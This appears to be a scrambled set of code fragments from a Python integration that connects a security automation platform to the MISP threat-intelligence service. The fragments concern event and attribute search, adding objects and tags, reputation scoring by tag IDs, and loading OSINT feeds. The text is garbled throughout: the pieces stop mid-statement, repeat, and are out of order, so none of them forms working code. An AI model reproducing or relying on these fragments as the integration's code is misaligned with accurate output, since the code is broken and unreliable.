event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute","elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command ==","error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into a list,","= copy.deepcopy(response) if include_correlations: # return full related attributes only if the user","= list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response","+= f\"Showing page {page} out others that may exist\" else: pagination_message += f\"Showing","template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not","list Args: object_data_dict (dict): Event or attribute dict which includes tags list. found_tag","event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies","Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids)","object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95,","event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID')","PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS =","event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies':","is event's (is_event_level = true) we would like to add to tag_set_ids all","def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values that match","Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info':","event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)}","category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen:","the events that include the indicator Please see an example for a response","True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for","been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response","{} if not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get","because of a NewConnectionError, ' 'Please make sure your MISP server url is","command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object':","= {} if not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") #","attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids,","[{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id","url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url","keys and values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute']","valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure')","add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID':","suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one is str),","event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]}","(id) which made the indicator to get that score found_related_events (dict): contains info","prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if","readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is","[] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag:","INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events =","= limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp']","MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment')","events that were detected as related to the tag. \"\"\" scored_events = []","list of responses from error section Returns: List[Dict[str, any]]: filtered response \"\"\" return","event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message +=","found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not","it is an event's tag. Otherwise (if it is set to 0 or","# get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")]","build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'),","except ValueError: raise DemistoException(f\"Tag id has to be a positive integer, please change","new_event (MISPEvent): When this function was called from create event command, the attrubite","1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object","list. is_event_level (bool): Whether the attribute_dict was received from an event object, meaning","= get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')})","1 it says that it is an event's tag. Otherwise (if it is","event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit:","module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to","outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP for the","value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value} was added to event","context Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response =","== \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if","comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance","Create a new MISP event object and set the event's details. \"\"\" event","'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS =","== 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args))","and page < 0: raise DemistoException(\"page should be zero or a positive number\")","= limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output","searches for the given attribute value in MISP and then calculates it's dbot","# type: ignore from typing import Union, List, Dict from urllib.parse import urlparse","attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value","try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS","misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip})","from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting,","fields as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name =","hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5,","'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port',","'-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id =","def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids. If there","List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError,","demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'):","it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def","original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params","'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip',","both Malicious tag ids and Suspicious tag ids lists the indicator will be","malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def","post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function","note: attributes are excluded from search-events output as the information is too big.","any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS,","if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key.","id has to be a positive integer, please change the given: '{tag}' id.\")","as malicious will be scored 3 (i.e malicious). * have tags which configured","if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address:","'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS","value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command","type that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in","url is correct.') if \"Please make sure the API key and the URL","search attribute request found_tag (str): The tag that was scored as malicious or","\"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text')","following logic. Indicators of attributes and Events that: * have tags which configured","= '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP","CommandResults(readable_output=f\"No attributes found in MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict,","add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not be","tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events',","tags are valid positive integers.\"\"\" for tag in tag_ids: try: tag = int(tag)","] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis',","readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool","Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults:","'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id',","if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise","outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id,","def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit <","include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if","args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format:","format. please note: attributes are excluded from search-events output as the information is","see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:'","'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date':","proxies: dict): \"\"\"Gets an OSINT feed from url and publishing them to MISP","[ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution',","1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response =","response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and","event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def","obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in","hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not","elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command ==","tag ids and Suspicious tag ids lists the indicator will be scored as","get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS","as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability):","includes all the events that were detected as related to the tag. \"\"\"","dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values","(str): The indicator value (an IP address, email address, domain, url or file","outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list =","an attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag')","in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args,","(i.e found_tag) which caused the indicator to be scored as malicious or suspicious.","attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp']","-> str: \"\"\" Gets a timestamp from MISP response (1546713469) and converts it","= args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true'","about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))","suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args))","should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as","list of attributes along with their events objects. Note: When limits the attributes","formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to MISP","{tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids","isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args)","that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id","the command search-attributes in order to get the information about the attributes. \"\"\"","add tag to given UUID of event or attribute. is_attribute (bool): if the","== 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if","required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable =","events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] #","outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list","'Please make sure your MISP server url is correct.') if \"Please make sure","== 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args))","url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') #","response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes","args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format:","events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type:","\"\"\" This function searches for the given attribute value in MISP and then","\"NewConnectionError\" in error: return_error('Unable to connect to MISP because of a NewConnectionError, '","if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ]","results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No","response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in","all the events that include the indicator Please see an example for a","complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter","(set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should","malicious or suspicious. Args: all_attributes (dict): The parsed response from the MISP search","sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events)","found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for","been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred:","def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results","scored 2 (i.e suspicious). * don't have any tags configured as suspicious nor","outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events","= THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else","or suspicious. Args: all_attributes (dict): The parsed response from the MISP search attribute","pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n","is_attribute (bool): if the given UUID belongs to an attribute (True) or event","= tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable,","found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list","value (str): The indicator value (an IP address, email address, domain, url or","\"\"\" scored_events = [] if found_tag: for attribute in all_attributes: event = attribute.get('Event',","== 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to'","raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError message: {response}') else:","complex query found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or =","DemistoException(f\"Error: The given email address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids,","recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability","'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy',","all the tags and search if found_tag is one of it's tags. If","that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain':","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids","len(events)): # Filter object from keys in event_args events[i] = {key: events[i].get(key) for","event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', [])","(i.e suspicious). * don't have any tags configured as suspicious nor malicious will","if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False","event in response_object] for i in range(0, len(events)): # Filter object from keys","raise DemistoException( f'`attribute` parameter could not be decoded, may not a valid JSON\\nattribute:","Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings':","level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute","events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events","} for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args","attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list event =","be zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for","requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object =","command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes':","'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation',","= f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page","= build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results],","tag that was scored as malicious or suspicious. If no tag was found,","and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\"","= [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level ID'] in","event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects':","pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing","'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} }","output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full related attributes","'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS =","object type that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item","configured as malicious will be scored 3 (i.e malicious). * have tags which","get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type ==","{len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" )","tag_set_ids. In any other case, we won't add the tag. Args: attribute_dict (dict):","limit this list to include only the ID and Name fields. In addition,","= Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot,","def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS","event with ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',","raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1]","ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int)","controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response:","another command (create event for example) Args: event_id (int): Event ID to add","tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',","made the indicator to get that score found_related_events (dict): contains info (name, id,","= false), and the tag is only related to an attribute we would","return_error('Unable to connect to MISP, ' 'Please make sure the API key is","operators is optional. if 'demisto_query' does not contains any of the complex operators","the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type =","no complex query found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or","= 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings']","'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info':","was called from create event command, the attrubite will be added to that","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids,","domain: {value} is not valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value):","malicious will be scored by their event's threat level id. In such case,","for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event","attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment","url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append(","'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid':","any tags configured as suspicious nor malicious will be scored by their event's","After getting all the attributes which match the required indicator value, this function","the information about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object","if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email","new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value)","args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of","attributes which match the required indicator value, this function parses the response. This","which include tag ids. If there is an id that exists in both","the indicator score by following logic. Indicators of attributes and Events that: *","tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md,","PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for","if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for","PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable","the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'),","data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score,","outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool =","'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error:","the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event,","Convert the response of event search returned from MISP to the context output","amount to the given limit) and by sub-functions calculated the score of the","response (1546713469) and converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if","those fields as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name","readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def 